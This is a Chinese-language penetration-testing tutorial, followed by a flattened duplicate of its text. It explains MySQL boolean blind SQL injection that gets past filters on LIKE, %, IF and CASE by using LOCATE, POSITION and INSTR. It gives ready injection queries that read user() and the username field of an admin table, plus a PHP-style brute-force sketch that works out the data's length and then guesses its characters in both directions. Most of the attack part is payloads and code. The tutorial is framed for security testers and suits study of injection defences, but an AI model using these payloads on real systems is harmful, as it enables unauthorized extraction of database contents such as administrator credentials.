mysql 过滤like时的另类盲注方法
字数 1106 2025-08-26 22:11:35

MySQL过滤LIKE时的替代盲注方法详解

0x00 概述

在渗透测试过程中,经常会遇到SQL注入点过滤了LIKE%IFCASE等关键字的情况,导致传统的LIKE盲注无法使用。本文介绍几种替代方法,包括LOCATEPOSITIONINSTR函数的使用技巧,以及相应的注入策略。

0x01 替代函数介绍

1. LOCATE函数

语法LOCATE(substr, str)
功能:返回子字符串substr在字符串str中第一次出现的位置
注入用法

SELECT * FROM test WHERE test=1 AND LOCATE('ro', SUBSTRING(user(),1,2))>0

2. POSITION函数

语法POSITION(substr IN str)
功能:与LOCATE功能相同,语法不同
注入用法

SELECT * FROM test WHERE test=1 AND POSITION('ro' IN SUBSTRING(user(),1,2))

3. INSTR函数

语法INSTR(str, substr)
功能:与LOCATE功能相同,参数顺序相反
注入用法

SELECT * FROM test WHERE test=1 AND INSTR(SUBSTRING(user(),1,2), 'ro')>0

0x02 函数特性分析

这些替代函数存在一个重要限制:它们都是左右匹配的,这会导致以下问题:

  1. 当匹配类似a1b2a1a2这样的数据时会出现不准确
  2. 输入a1匹配为true时,输入a1a也会匹配为true
  3. 无法精确确定第一位数据的准确值

0x03 解决方案

方案1:使用SUBSTRING函数递归爆破

这种方法与普通布尔盲注类似,通过SUBSTRING函数截取特定位置的字符进行爆破。

SUBSTRING函数用法

SUBSTRING(str, pos)        -- 从pos位置开始截取到结尾
SUBSTRING(str, pos, length) -- 从pos位置开始截取length长度

注入示例

-- 查询user()前两位数据
SELECT * FROM test WHERE test=1 AND LOCATE('ro', SUBSTRING(user(),1,2))>0

方案2:双向爆破策略

  1. 首先确定目标数据的长度
  2. 然后采用双向爆破策略:
    • 先向右填充爆破
    • 当无法继续向右爆破时,开始向左爆破

爆破流程示例

  1. LOCATE('o', user())>0 → 真
  2. LOCATE('ot', user())>0 → 真
  3. ...
  4. LOCATE('ot@localhost', user())>0 → 真
  5. 发现还差2个字符时,开始向左爆破

0x04 实际注入案例

1. 查询user()数据

-- 正确时(页面内容不变)
SELECT * FROM test WHERE test=1 AND LOCATE('ro', SUBSTRING(user(),1,2))>0

-- 错误时(页面返回为空)
SELECT * FROM test WHERE test=1 AND LOCATE('r1', SUBSTRING(user(),1,2))>0

2. 查询数据库表数据

-- 读取test.tdb_admin表username字段前两位
SELECT * FROM test WHERE test=1 AND LOCATE('ad', SUBSTRING((SELECT username FROM test.tdb_admin LIMIT 0,1),1,2))>0

0x05 自动化脚本实现

以下是PHP实现的爆破脚本核心思路:

// 1. 首先确定user()长度
$i = 0;
while(true) {
    $sql = "' AND LENGTH(user())=".$i."-- a";
    if(请求返回正确){
        $user_size = $i;
        break;
    }
    $i++;
}

// 2. 双向爆破内容
$payload = "!POIUYTREWQ..."; // 包含所有可能字符
$user_data = '';
while(true) {
    if(strlen($user_data) !== $user_size) {
        foreach($payload as $char) {
            // 向右爆破
            $sql = "' AND LOCATE(BINARY '".$user_data.$char."', user())>0 -- a";
            if(请求返回正确) {
                $user_data .= $char;
                continue;
            }
            
            // 向左爆破
            $sql = "' AND LOCATE(BINARY '".$char.$user_data."', user())>0 -- a";
            if(请求返回正确) {
                $user_data = $char.$user_data;
                continue;
            }
        }
    } else {
        break;
    }
}

关键点

  1. 使用BINARY关键字使搜索区分大小写
  2. 采用双向爆破策略解决左右匹配问题
  3. 先确定长度再爆破内容

0x06 注意事项

  1. MySQL默认不区分大小写,如需区分大小写需使用BINARY关键字
  2. 这些方法适用于无回显但存在布尔型响应的场景
  3. 爆破效率较低,需要优化字符集和爆破顺序
  4. 在实际渗透中,应优先考虑使用更高效的注入技术

通过以上方法,即使过滤了LIKE等关键字,仍然可以实现有效的SQL盲注攻击。理解这些函数的特性和限制,可以帮助安全测试人员在受限环境下完成注入测试。

MySQL过滤LIKE时的替代盲注方法详解 0x00 概述 在渗透测试过程中,经常会遇到SQL注入点过滤了 LIKE 、 % 、 IF 、 CASE 等关键字的情况,导致传统的LIKE盲注无法使用。本文介绍几种替代方法,包括 LOCATE 、 POSITION 和 INSTR 函数的使用技巧,以及相应的注入策略。 0x01 替代函数介绍 1. LOCATE函数 语法 : LOCATE(substr, str) 功能 :返回子字符串substr在字符串str中第一次出现的位置 注入用法 : 2. POSITION函数 语法 : POSITION(substr IN str) 功能 :与LOCATE功能相同,语法不同 注入用法 : 3. INSTR函数 语法 : INSTR(str, substr) 功能 :与LOCATE功能相同,参数顺序相反 注入用法 : 0x02 函数特性分析 这些替代函数存在一个重要限制: 它们都是左右匹配的 ,这会导致以下问题: 当匹配类似 a1b2a1a2 这样的数据时会出现不准确 输入 a1 匹配为true时,输入 a1a 也会匹配为true 无法精确确定第一位数据的准确值 0x03 解决方案 方案1:使用SUBSTRING函数递归爆破 这种方法与普通布尔盲注类似,通过SUBSTRING函数截取特定位置的字符进行爆破。 SUBSTRING函数用法 : 注入示例 : 方案2:双向爆破策略 首先确定目标数据的长度 然后采用双向爆破策略: 先向右填充爆破 当无法继续向右爆破时,开始向左爆破 爆破流程示例 : LOCATE('o', user())>0 → 真 LOCATE('ot', user())>0 → 真 ... LOCATE('ot@localhost', user())>0 → 真 发现还差2个字符时,开始向左爆破 0x04 实际注入案例 1. 查询user()数据 2. 查询数据库表数据 0x05 自动化脚本实现 以下是PHP实现的爆破脚本核心思路: 关键点 : 使用 BINARY 关键字使搜索区分大小写 采用双向爆破策略解决左右匹配问题 先确定长度再爆破内容 0x06 注意事项 MySQL默认不区分大小写,如需区分大小写需使用 BINARY 关键字 这些方法适用于无回显但存在布尔型响应的场景 爆破效率较低,需要优化字符集和爆破顺序 在实际渗透中,应优先考虑使用更高效的注入技术 通过以上方法,即使过滤了 LIKE 等关键字,仍然可以实现有效的SQL盲注攻击。理解这些函数的特性和限制,可以帮助安全测试人员在受限环境下完成注入测试。